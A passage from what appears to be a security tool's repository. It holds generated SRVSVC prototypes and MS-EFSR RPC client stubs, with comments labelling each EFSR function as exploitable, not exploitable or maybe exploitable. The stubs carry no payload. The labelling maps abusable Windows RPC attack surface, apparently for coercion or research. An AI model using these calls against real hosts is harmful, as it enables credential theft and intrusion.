NetrServerGetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][out] */ LPSERVER_INFO InfoStruct);\n\nNET_API_STATUS NetrServerSetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSERVER_INFO ServerInfo,\n    /* [unique][out][in] */ DWORD *ParmErr);\n\nNET_API_STATUS NetrServerDiskEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [out][in] */ DISK_ENUM_CONTAINER *DiskInfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle);\n\nNET_API_STATUS NetrServerStatisticsGet( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *Service,\n    /* [in] */ DWORD Level,\n    /* [in] */ DWORD Options,\n    /* [out] */ LPSTAT_SERVER_0 *InfoStruct);\n\nNET_API_STATUS NetrServerTransportAdd( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [in] */ LPSERVER_TRANSPORT_INFO_0 Buffer);\n\nNET_API_STATUS NetrServerTransportEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out][in] */ LPSERVER_XPORT_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle);\n\nNET_API_STATUS NetrServerTransportDel( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [in] */ LPSERVER_TRANSPORT_INFO_0 Buffer);\n\nNET_API_STATUS NetrRemoteTOD( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out] */ LPTIME_OF_DAY_INFO *BufferPtr);\n\nvoid Opnum29NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nNET_API_STATUS NetprPathType( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *PathName,\n    /* [out] */ DWORD *PathType,\n    /* [in] */ DWORD Flags);\n\nNET_API_STATUS NetprPathCanonicalize( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *PathName,\n    /* [size_is][out] */ unsigned char *Outbuf,\n    /* [range][in] */ DWORD OutbufLen,\n    /* [string][in] */ WCHAR *Prefix,\n    /* [out][in] */ DWORD *PathType,\n    /* [in] */ DWORD Flags);\n\nlong NetprPathCompare( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *PathName1,\n    /* [string][in] */ WCHAR *PathName2,\n    /* [in] */ DWORD PathType,\n    /* [in] */ DWORD Flags);\n\nNET_API_STATUS NetprNameValidate( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *Name,\n    /* [in] */ DWORD NameType,\n    /* [in] */ DWORD Flags);\n\nNET_API_STATUS NetprNameCanonicalize( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *Name,\n    /* [size_is][out] */ WCHAR *Outbuf,\n    /* [range][in] */ DWORD OutbufLen,\n    /* [in] */ DWORD NameType,\n    /* [in] */ DWORD Flags);\n\nlong NetprNameCompare( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *Name1,\n    /* [string][in] */ WCHAR *Name2,\n    /* [in] */ DWORD NameType,\n    /* [in] */ DWORD Flags);\n\nNET_API_STATUS NetrShareEnumSticky( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out][in] */ LPSHARE_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle);\n\nNET_API_STATUS NetrShareDelStart( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Reserved,\n    /* [out] */ PSHARE_DEL_HANDLE ContextHandle);\n\nNET_API_STATUS NetrShareDelCommit( \n    /* [out][in] */ PSHARE_DEL_HANDLE ContextHandle);\n\nDWORD NetrpGetFileSecurity( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *ShareName,\n    /* [string][in] */ WCHAR *lpFileName,\n    /* [in] */ SECURITY_INFORMATION RequestedInformation,\n    /* [out] */ PADT_SECURITY_DESCRIPTOR *SecurityDescriptor);\n\nDWORD NetrpSetFileSecurity( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *ShareName,\n    /* [string][in] */ WCHAR *lpFileName,\n    /* [in] */ SECURITY_INFORMATION SecurityInformation,\n    /* [in] */ PADT_SECURITY_DESCRIPTOR SecurityDescriptor);\n\nNET_API_STATUS NetrServerTransportAddEx( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPTRANSPORT_INFO Buffer);\n\nvoid Opnum42NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nNET_API_STATUS NetrDfsGetVersion( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out] */ DWORD *Version);\n\nNET_API_STATUS NetrDfsCreateLocalPartition( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *ShareName,\n    /* [in] */ GUID *EntryUid,\n    /* [string][in] */ WCHAR *EntryPrefix,\n    /* [string][in] */ WCHAR *ShortName,\n    /* [in] */ LPNET_DFS_ENTRY_ID_CONTAINER RelationInfo,\n    /* [in] */ int Force);\n\nNET_API_STATUS NetrDfsDeleteLocalPartition( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix);\n\nNET_API_STATUS NetrDfsSetLocalVolumeState( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix,\n    /* [in] */ unsigned long State);\n\nvoid Opnum47NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nNET_API_STATUS NetrDfsCreateExitPoint( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix,\n    /* [in] */ unsigned long Type,\n    /* [range][in] */ DWORD ShortPrefixLen,\n    /* [size_is][out] */ WCHAR *ShortPrefix);\n\nNET_API_STATUS NetrDfsDeleteExitPoint( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix,\n    /* [in] */ unsigned long Type);\n\nNET_API_STATUS NetrDfsModifyPrefix( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix);\n\nNET_API_STATUS NetrDfsFixLocalVolume( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *VolumeName,\n    /* [in] */ unsigned long EntryType,\n    /* [in] */ unsigned long ServiceType,\n    /* [string][in] */ WCHAR *StgId,\n    /* [in] */ GUID *EntryUid,\n    /* [string][in] */ WCHAR *EntryPrefix,\n    /* [in] */ LPNET_DFS_ENTRY_ID_CONTAINER RelationInfo,\n    /* [in] */ unsigned long CreateDisposition);\n\nNET_API_STATUS NetrDfsManagerReportSiteInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][out][in] */ LPDFS_SITELIST_INFO *ppSiteInfo);\n\nNET_API_STATUS NetrServerTransportDelEx( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPTRANSPORT_INFO Buffer);\n\nNET_API_STATUS NetrServerAliasAdd( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSERVER_ALIAS_INFO InfoStruct);\n\nNET_API_STATUS NetrServerAliasEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out][in] */ LPSERVER_ALIAS_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ LPDWORD TotalEntries,\n    /* [unique][out][in] */ LPDWORD ResumeHandle);\n\nNET_API_STATUS NetrServerAliasDel( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSERVER_ALIAS_INFO InfoStruct);\n\nNET_API_STATUS NetrShareDelEx( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSHARE_INFO ShareInfo);\n\n\n\nextern RPC_IF_HANDLE srvsvc_v3_0_c_ifspec;\nextern RPC_IF_HANDLE srvsvc_v3_0_s_ifspec;\n#endif /* __srvsvc_INTERFACE_DEFINED__ */\n\n/* Additional Prototypes for ALL interfaces */\n\nhandle_t __RPC_USER SRVSVC_HANDLE_bind ( SRVSVC_HANDLE );\nvoid     __RPC_USER SRVSVC_HANDLE_unbind( SRVSVC_HANDLE,  handle_t );\n\nvoid __RPC_USER SHARE_DEL_HANDLE_rundown( SHARE_DEL_HANDLE );\n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "rpc_interfaces/ms-efsr_c.c",
    "content": "/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for MS-EFSR_df1941c5-fe89-4e79-bf10-463657acf44d.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n\n#include <string.h>\n\n#include \"../lib/ms-efsr_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   1153                              \n#define PROC_FORMAT_STRING_SIZE   2637                              \n#define EXPR_FORMAT_STRING_SIZE   13                                \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax_2_0 = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nstatic const RPC_SYNTAX_IDENTIFIER  _NDR64_RpcTransferSyntax_1_0 = \n{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};\n\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define XFG_TRAMPOLINES(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_TRAMPOLINES64(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\\\nstatic void* ObjectType ## _bind_XFG(HandleType pObject)\\\n{\\\nreturn ObjectType ## _bind((ObjectType) pObject);\\\n}\\\nstatic void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\\\n{\\\nObjectType ## _unbind((ObjectType) pObject, ServerHandle);\\\n}\n#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG\n#else\n#define XFG_TRAMPOLINES(ObjectType)\n#define XFG_TRAMPOLINES64(ObjectType)\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\n#define XFG_TRAMPOLINE_FPTR(Function) Function\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol\n#endif\n\n\n\nextern const MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_TYPE_FORMAT_STRING MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_TypeFormatString;\nextern const MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_PROC_FORMAT_STRING MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_ProcFormatString;\nextern const MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_EXPR_FORMAT_STRING MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_ExprFormatString;\n\n#define GENERIC_BINDING_TABLE_SIZE   0            \n\n\n/* Standard interface: efsrpc_through_pipe_efsrpc, ver. 1.0,\n   GUID={0xdf1941c5,0xfe89,0x4e79,{0xbf,0x10,0x46,0x36,0x57,0xac,0xf4,0x4d}} */\n\n extern const MIDL_STUBLESS_PROXY_INFO efsrpc_through_pipe_efsrpc_ProxyInfo;\n\n\nstatic const RPC_CLIENT_INTERFACE efsrpc_through_pipe_efsrpc___RpcClientInterface =\n    {\n    sizeof(RPC_CLIENT_INTERFACE),\n    {{0xdf1941c5,0xfe89,0x4e79,{0xbf,0x10,0x46,0x36,0x57,0xac,0xf4,0x4d}},{1,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    0,\n    0,\n    0,\n    &efsrpc_through_pipe_efsrpc_ProxyInfo,\n    0x02000001\n    };\nRPC_IF_HANDLE efsrpc_through_pipe_efsrpc_v1_0_c_ifspec = (RPC_IF_HANDLE)& efsrpc_through_pipe_efsrpc___RpcClientInterface;\n#ifdef __cplusplus\nnamespace {\n#endif\n\nextern const MIDL_STUB_DESC efsrpc_through_pipe_efsrpc_StubDesc;\n#ifdef __cplusplus\n}\n#endif\n\nstatic RPC_BINDING_HANDLE efsrpc_through_pipe_efsrpc__MIDL_AutoBindHandle;\n\n// EXPLOITABLE\nlong EfsRpcOpenFileRaw( \n    /* [in] */ handle_t binding_h,\n    /* [out] */ PEXIMPORT_CONTEXT_HANDLE *hContext,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ long Flags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  0,\n                  0,\n                  binding_h,\n                  hContext,\n                  FileName,\n                  Flags);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT EXPLOITABLE\nlong EfsRpcReadFileRaw(\n    /* [in] */ PEXIMPORT_CONTEXT_HANDLE hContext,\n    /* [out] */ wchar_t* EfsOutPipe)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  1,\n                  0,\n                  hContext,\n                  EfsOutPipe);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT EXPLOITABLE\nlong EfsRpcWriteFileRaw( \n    /* [in] */ PEXIMPORT_CONTEXT_HANDLE hContext,\n    /* [in] */ EFS_EXIM_PIPE *EfsInPipe)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  2,\n                  0,\n                  hContext,\n                  EfsInPipe);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT EXPLOITABLE\nvoid EfsRpcCloseRaw( \n    /* [out][in] */ PEXIMPORT_CONTEXT_HANDLE *hContext)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  3,\n                  0,\n                  hContext);\n    \n}\n\n// EXPLOITABLE\nlong EfsRpcEncryptFileSrv( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  4,\n                  0,\n                  binding_h,\n                  FileName);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nlong EfsRpcDecryptFileSrv( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ unsigned long OpenFlag)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  5,\n                  0,\n                  binding_h,\n                  FileName,\n                  OpenFlag);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcQueryUsersOnFile( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [out] */ ENCRYPTION_CERTIFICATE_HASH_LIST **Users)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  6,\n                  0,\n                  binding_h,\n                  FileName,\n                  Users);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcQueryRecoveryAgents( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [out] */ ENCRYPTION_CERTIFICATE_HASH_LIST **RecoveryAgents)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  7,\n                  0,\n                  binding_h,\n                  FileName,\n                  RecoveryAgents);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcRemoveUsersFromFile( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ ENCRYPTION_CERTIFICATE_HASH_LIST *Users)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  8,\n                  0,\n                  binding_h,\n                  FileName,\n                  Users);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcAddUsersToFile( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ ENCRYPTION_CERTIFICATE_LIST *EncryptionCertificates)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  9,\n                  0,\n                  binding_h,\n                  FileName,\n                  EncryptionCertificates);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc10_EfsRpcSetFileEncryptionKey( \n    /* [in] */ handle_t IDL_handle,\n    /* [unique][in] */ struct Struct_282_t *arg_1,\n    /* [in] */ long arg_2,\n    /* [in] */ long arg_3)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  10,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// MAYBE EXPLOITABLE\nDWORD EfsRpcNotSupported( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *Reserved1,\n    /* [string][in] */ wchar_t *Reserved2,\n    /* [in] */ DWORD dwReserved1,\n    /* [in] */ DWORD dwReserved2,\n    /* [unique][in] */ EFS_RPC_BLOB *Reserved,\n    /* [in] */ BOOL bReserved)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  11,\n                  0,\n                  binding_h,\n                  Reserved1,\n                  Reserved2,\n                  dwReserved1,\n                  dwReserved2,\n                  Reserved,\n                  bReserved);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcFileKeyInfo( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ DWORD InfoClass,\n    /* [out] */ EFS_RPC_BLOB **KeyInfo)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  12,\n                  0,\n                  binding_h,\n                  FileName,\n                  InfoClass,\n                  KeyInfo);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// MAYBE EXPLOITABLE\nDWORD EfsRpcDuplicateEncryptionInfoFile( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *SrcFileName,\n    /* [string][in] */ wchar_t *DestFileName,\n    /* [in] */ DWORD dwCreationDisposition,\n    /* [in] */ DWORD dwAttributes,\n    /* [unique][in] */ EFS_RPC_BLOB *RelativeSD,\n    /* [in] */ BOOL bInheritHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  13,\n                  0,\n                  binding_h,\n                  SrcFileName,\n                  DestFileName,\n                  dwCreationDisposition,\n                  dwAttributes,\n                  RelativeSD,\n                  bInheritHandle);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc14_EfsUsePinForEncryptedFiles( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ struct Struct_136_t *arg_1,\n    /* [in] */ struct Struct_462_t *arg_2)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  14,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcAddUsersToFileEx( \n    /* [in] */ handle_t binding_h,\n    /* [in] */ DWORD dwFlags,\n    /* [unique][in] */ EFS_RPC_BLOB *Reserved,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ ENCRYPTION_CERTIFICATE_LIST *EncryptionCertificates)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  15,\n                  0,\n                  binding_h,\n                  dwFlags,\n                  Reserved,\n                  FileName,\n                  EncryptionCertificates);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcFileKeyInfoEx( \n    /* [in] */ handle_t binding_h,\n    /* [in] */ DWORD dwFileKeyInfoFlags,\n    /* [unique][in] */ EFS_RPC_BLOB *Reserved,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ DWORD InfoClass,\n    /* [out] */ EFS_RPC_BLOB **KeyInfo)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  16,\n                  0,\n                  binding_h,\n                  dwFileKeyInfoFlags,\n                  Reserved,\n                  FileName,\n                  InfoClass,\n                  KeyInfo);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc17_EfsRpcFileKeyInfoEx( \n    /* [in] */ handle_t IDL_handle,\n    /* [ref][out] */ struct Struct_392_t **arg_1)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  17,\n                  0,\n                  IDL_handle,\n                  arg_1);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcGetEncryptedFileMetadata( \n    /* [in] */ handle_t binding_h,\n    /* [ref][string][in] */ wchar_t *FileName,\n    /* [ref][out] */ EFS_RPC_BLOB **EfsStreamBlob)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  18,\n                  0,\n                  binding_h,\n                  FileName,\n                  EfsStreamBlob);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcSetEncryptedFileMetadata( \n    /* [in] */ handle_t binding_h,\n    /* [ref][string][in] */ wchar_t *FileName,\n    /* [unique][in] */ EFS_RPC_BLOB *OldEfsStreamBlob,\n    /* [ref][in] */ EFS_RPC_BLOB *NewEfsStreamBlob,\n    /* [unique][in] */ ENCRYPTED_FILE_METADATA_SIGNATURE *NewEfsSignature)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  19,\n                  0,\n                  binding_h,\n                  FileName,\n                  OldEfsStreamBlob,\n                  NewEfsStreamBlob,\n                  NewEfsSignature);\n    return ( DWORD  